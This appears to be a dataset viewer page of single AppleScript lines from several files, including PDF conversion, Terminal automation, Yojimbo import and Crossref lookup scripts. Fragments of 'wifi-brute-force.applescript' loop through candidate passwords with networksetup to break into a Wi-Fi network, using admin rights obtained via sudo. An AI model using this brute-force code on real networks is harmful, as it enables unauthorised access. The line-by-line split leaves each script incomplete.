text
stringlengths 0
15.7k
| source
stringlengths 6
112
|
---|---|
tell active document
|
ConvertWordPowerPointToPDF.scpt
|
save as it file name theOutputPath file format format PDF
|
ConvertWordPowerPointToPDF.scpt
|
close saving no
|
ConvertWordPowerPointToPDF.scpt
|
return theOutput
|
ConvertWordPowerPointToPDF.scpt
|
on makeNewPath(f)
|
ConvertWordPowerPointToPDF.scpt
|
set t to f as string
|
ConvertWordPowerPointToPDF.scpt
|
if t ends with ".pptx" or t ends with ".docx" then
|
ConvertWordPowerPointToPDF.scpt
|
return (text 1 thru -5 of t) & "pdf"
|
ConvertWordPowerPointToPDF.scpt
|
return (text 1 thru -4 of t) & "pdf"
|
ConvertWordPowerPointToPDF.scpt
|
end makeNewPath
|
ConvertWordPowerPointToPDF.scpt
|
set BSSID to "NetworkBSSID"
|
wifi-brute-force.applescript
|
set startString to "pwdStartString"
|
wifi-brute-force.applescript
|
set computerUsername to "username"
|
wifi-brute-force.applescript
|
set computerPassword to "password"
|
wifi-brute-force.applescript
|
do shell script "sudo touch /private/var/db/.AccessibilityAPIEnabled" user name computerUsername password computerPassword with administrator privileges
|
wifi-brute-force.applescript
|
repeat with ink from 100 to 300
|
wifi-brute-force.applescript
|
set myPassword to startString & ink
|
wifi-brute-force.applescript
|
set error to "none"
|
wifi-brute-force.applescript
|
do shell script "networksetup -setairportnetwork" & space & quoted form of BSSID & space & quoted form of myPassword with administrator privileges
|
wifi-brute-force.applescript
|
on error errStr
|
wifi-brute-force.applescript
|
set error to errStr
|
wifi-brute-force.applescript
|
if error = "none" then
|
wifi-brute-force.applescript
|
display alert "Password is: " & myPassword
|
wifi-brute-force.applescript
|
on replace_text(this_text, search_string, replacement_string)
|
replace_handler.applescript
|
set prevTIDs to AppleScript's text item delimiters
|
replace_handler.applescript
|
set AppleScript's text item delimiters to prevTIDs
|
replace_handler.applescript
|
end replace_text
|
replace_handler.applescript
|
set folderName to item 1 of argv -- Folder path
|
terminal.scpt
|
log "Folder Name: " & folderName
|
terminal.scpt
|
set window_id to id of first window whose frontmost is true
|
terminal.scpt
|
keystroke "t" using {command down}
|
terminal.scpt
|
set commandToRun to "cd " & quoted form of (folderName as string) --Quoted to handle spaces in foldernames
|
terminal.scpt
|
do script commandToRun in window id window_id of application "Terminal"
|
terminal.scpt
|
do script "clear;pwd" in window id window_id of application "Terminal"
|
terminal.scpt
|
on menu_click(mList)
|
terminal.scpt
|
local appName, topMenu, r
|
terminal.scpt
|
if mList's length < 3 then error "Menu list is not long enough"
|
terminal.scpt
|
set {appName, topMenu} to (items 1 through 2 of mList)
|
terminal.scpt
|
set r to (items 3 through (mList's length) of mList)
|
terminal.scpt
|
tell application "System Events" to my menu_click_recurse(r, ((process appName)'s ¬
|
terminal.scpt
|
(menu bar 1)'s (menu bar item topMenu)'s (menu topMenu)))
|
terminal.scpt
|
end menu_click
|
terminal.scpt
|
on menu_click_recurse(mList, parentObject)
|
terminal.scpt
|
local f, r
|
terminal.scpt
|
set f to item 1 of mList
|
terminal.scpt
|
if mList's length > 1 then set r to (items 2 through (mList's length) of mList)
|
terminal.scpt
|
if mList's length is 1 then
|
terminal.scpt
|
click parentObject's menu item f
|
terminal.scpt
|
my menu_click_recurse(r, (parentObject's (menu item f)'s (menu f)))
|
terminal.scpt
|
end menu_click_recurse
|
terminal.scpt
|
set _type to button returned of (display alert "Select what kind of data to import to Yojimbo:" buttons {"Cancel", "Serial Numbers", "Passwords"} cancel button 1)
|
Password or Serial Table Import.applescript
|
if _type is "Cancel" or _type is "" then
|
Password or Serial Table Import.applescript
|
set _file to choose file with prompt "Select a tab delimited file containing " & _type
|
Password or Serial Table Import.applescript
|
open for access _file
|
Password or Serial Table Import.applescript
|
set _data to read _file using delimiter {(ASCII character 13), (ASCII character 10)}
|
Password or Serial Table Import.applescript
|
close access _file
|
Password or Serial Table Import.applescript
|
set _delim to AppleScript's text item delimiters
|
Password or Serial Table Import.applescript
|
set AppleScript's text item delimiters to tab -- or {","}
|
Password or Serial Table Import.applescript
|
repeat with _index from 1 to count of _data
|
Password or Serial Table Import.applescript
|
set _line to the text items of item _index of _data
|
Password or Serial Table Import.applescript
|
if _type is "Passwords" then
|
Password or Serial Table Import.applescript
|
MakePassword(item 1 of _line, item 2 of _line, item 3 of _line, item 4 of _line)
|
Password or Serial Table Import.applescript
|
else if _type is "Serial Numbers" then
|
Password or Serial Table Import.applescript
|
MakeSerial(item 1 of _line, item 2 of _line, item 3 of _line, item 4 of _line)
|
Password or Serial Table Import.applescript
|
set AppleScript's text item delimiters to _delim
|
Password or Serial Table Import.applescript
|
on MakePassword(_name, _location, _account, _password)
|
Password or Serial Table Import.applescript
|
tell application "Yojimbo"
|
Password or Serial Table Import.applescript
|
set _new to make new password item with properties {name:_name, location:_location, account:_account, password:_password}
|
Password or Serial Table Import.applescript
|
end MakePassword
|
Password or Serial Table Import.applescript
|
on MakeSerial(_product, _owner, _number, _comments)
|
Password or Serial Table Import.applescript
|
set _new to make new serial number item with properties {name:_product, owner name:_owner, serial number:_number, comments:_comments}
|
Password or Serial Table Import.applescript
|
end MakeSerial
|
Password or Serial Table Import.applescript
|
on upperString(theText)
|
upperString.applescript
|
local upper, lower, theText
|
upperString.applescript
|
return my translateChars(theText, my _lcChars_, my _ucChars_)
|
upperString.applescript
|
error "Can't upperString: " & eMsg number eNum
|
upperString.applescript
|
end upperString
|
upperString.applescript
|
set CitationName to "australian-guide-to-legal-citation"
|
crossref-lookup.applescript
|
set UAString to "XRefLookup/1.0 (https://gist.github.com/mnot/0d7825bde9b9d3233f623c71765f20ca; mailto:mnot@mnot.net)"
|
crossref-lookup.applescript
|
if not (exists think window 1) then error "No window open."
|
crossref-lookup.applescript
|
if not (exists content record) then error "No document selected."
|
crossref-lookup.applescript
|
set theRecord to content record
|
crossref-lookup.applescript
|
set query to the selected text of think window 1 as string
|
crossref-lookup.applescript
|
if query is "" then
|
crossref-lookup.applescript
|
set query to name of theRecord
|
crossref-lookup.applescript
|
show progress indicator "Looking up references..." steps -1
|
crossref-lookup.applescript
|
set theJson to my crossrefLookup(query)
|
crossref-lookup.applescript
|
set theItems to |items| of message of theJson
|
crossref-lookup.applescript
|
set theChoices to {}
|
crossref-lookup.applescript
|
repeat with a from 1 to length of theItems
|
crossref-lookup.applescript
|
set currentItem to item a of theItems
|
crossref-lookup.applescript
|
set titleList to title of currentItem
|
crossref-lookup.applescript
|
set title to item 1 of titleList
|
crossref-lookup.applescript
|
set dateString to my extractDate(currentItem)
|
crossref-lookup.applescript
|
set detailString to my extractAuthor(currentItem)
|
crossref-lookup.applescript
|
if not detailString is equal to "" then
|
crossref-lookup.applescript
|
set detailString to detailString & ", "
|
crossref-lookup.applescript
|
set detailString to detailString & dateString
|
crossref-lookup.applescript
|
set theChoice to title & " (" & detailString & ")"
|
crossref-lookup.applescript
|
set end of theChoices to theChoice
|
crossref-lookup.applescript
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.